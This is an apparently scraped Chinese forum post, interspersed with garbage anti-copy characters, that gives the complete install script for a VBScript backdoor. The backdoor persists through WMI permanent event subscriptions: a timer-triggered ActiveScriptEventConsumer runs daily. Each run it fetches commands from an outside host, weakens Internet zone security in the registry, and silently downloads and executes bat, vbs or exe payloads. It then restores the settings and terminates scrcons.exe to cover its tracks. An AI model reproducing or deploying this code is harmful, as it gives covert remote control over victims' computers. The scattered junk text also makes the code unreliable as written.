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完整的安装脚本代码如下:
G7 Y% R! h6 ]/ C* {Codz: : A. }' b9 o& a( Q A/ o8 z
'***以下为参数配置,请根据情况自行修改***'
+ n' }; U0 |, {* [# I% y! ?+ x/ fnslink="winmgmts:\\.\root\cimv2:" '名字空间'
; s+ d# S7 M5 M" Y! ?5 V" udoorname="vbscript_backdoor" '记住后门的名字,卸载时需要' % o: W; R. q8 y+ S
runinterval=86400000 '每天运行一次'
8 ?9 |( `$ }3 z5 T$ hcmdu="http://myweb.8866.org/cmd.txt" '命令文件的位置' 9 o) Q8 r, J% L; k. \
cmdw=4000 '文件下载超时时间' , L5 d) o* ~# K+ ~
cmdl="HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\CmdLength" '保存命令长度的键值名'
, k7 c) w1 E4 K3 J' u. F A# U9 M+ D4 i0 G'***参数配置结束***' 0 C+ X1 _% t3 h' q) D& U. E
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createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"
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. u" k- I2 Q/ m'脚本后门核心代码' 4 y4 Z4 A! F. s+ u3 W: { z* L
stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""" n error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"":set1=zone&""\1201"":set2=zone&""\1400"":set3=zone&""\CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\\.\root\cimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"
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" [% m* s* F, Z% L2 o9 ^3 o'配置事件消费者' _) D/ U; W1 q8 |" I
set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
0 |) M$ ^& [) G, e: h9 ^2 ?asec.name=doorname&"_consumer"
2 q5 Q& y: c: R( `2 t9 w) f$ xasec.scriptingengine="vbscript"
* J# _: _. w' J/ gasec.scripttext=stxt
: V6 D) Y2 d5 ]$ Y! u( fset asecpath=asec.put_ 1 \0 j4 F O- J: c5 m1 c9 c
5 I* c8 j% _# C. U/ ~: w0 a+ q'配置计时器' F' d0 R+ I& C8 Z8 J8 t
set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_ 6 W" ?* |- e% E2 R2 m
itimer.timerid=doorname&"_itimer"
) w/ Q5 V) {3 ]2 O3 Vitimer.intervalbetweenevents=runinterval 0 Y3 v% U1 `8 e4 f+ f4 T' j- A
itimer.skipifpassed=false
2 T1 J2 \ O, T9 Uitimer.put_ , u( W! ^7 M& S; W+ t$ R
# b1 R, u$ K" {/ t, a'配置事件过滤器'
+ `- ]# n( w. z; N5 S* u/ x% Pset evtflt=getobject(nslink&"__EventFilter").spawninstance_
! x/ @" @1 s" G/ ]9 mevtflt.name=doorname&"_filter"
1 B5 W) S$ ~) A7 Z4 nevtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""
( Z* o' B% n9 X6 R+ g. Fevtflt.querylanguage="wql" % ^: [* N# q. [; @5 T/ U& J* N$ u
set fltpath=evtflt.put_ ) K! ?; w. R7 c3 H+ I
2 H+ j" Q& M5 I( J& v'绑定消费者和过滤器' $ }5 |, F! Y4 |
set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_ 3 B' Q2 U0 i* S2 @; C% j: D6 W1 y
fcbnd.consumer=asecpath.path & e, h8 V$ x( \4 y6 H
fcbnd.filter=fltpath.path . N5 d G4 k# B3 c
fcbnd.put_
& o) k' |) M! Q4 t3 A J3 ~, V( x9 j' m1 v/ S8 K
wscript.echo "安装完成". l4 u p: E ~: {
$ A( t; e1 X$ O
与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到root\cimv2。特别是XP/2003,ASEC默认已经安装到root\subscription,只需要相应修改nslink的值,就可以安装脚本后门了 |
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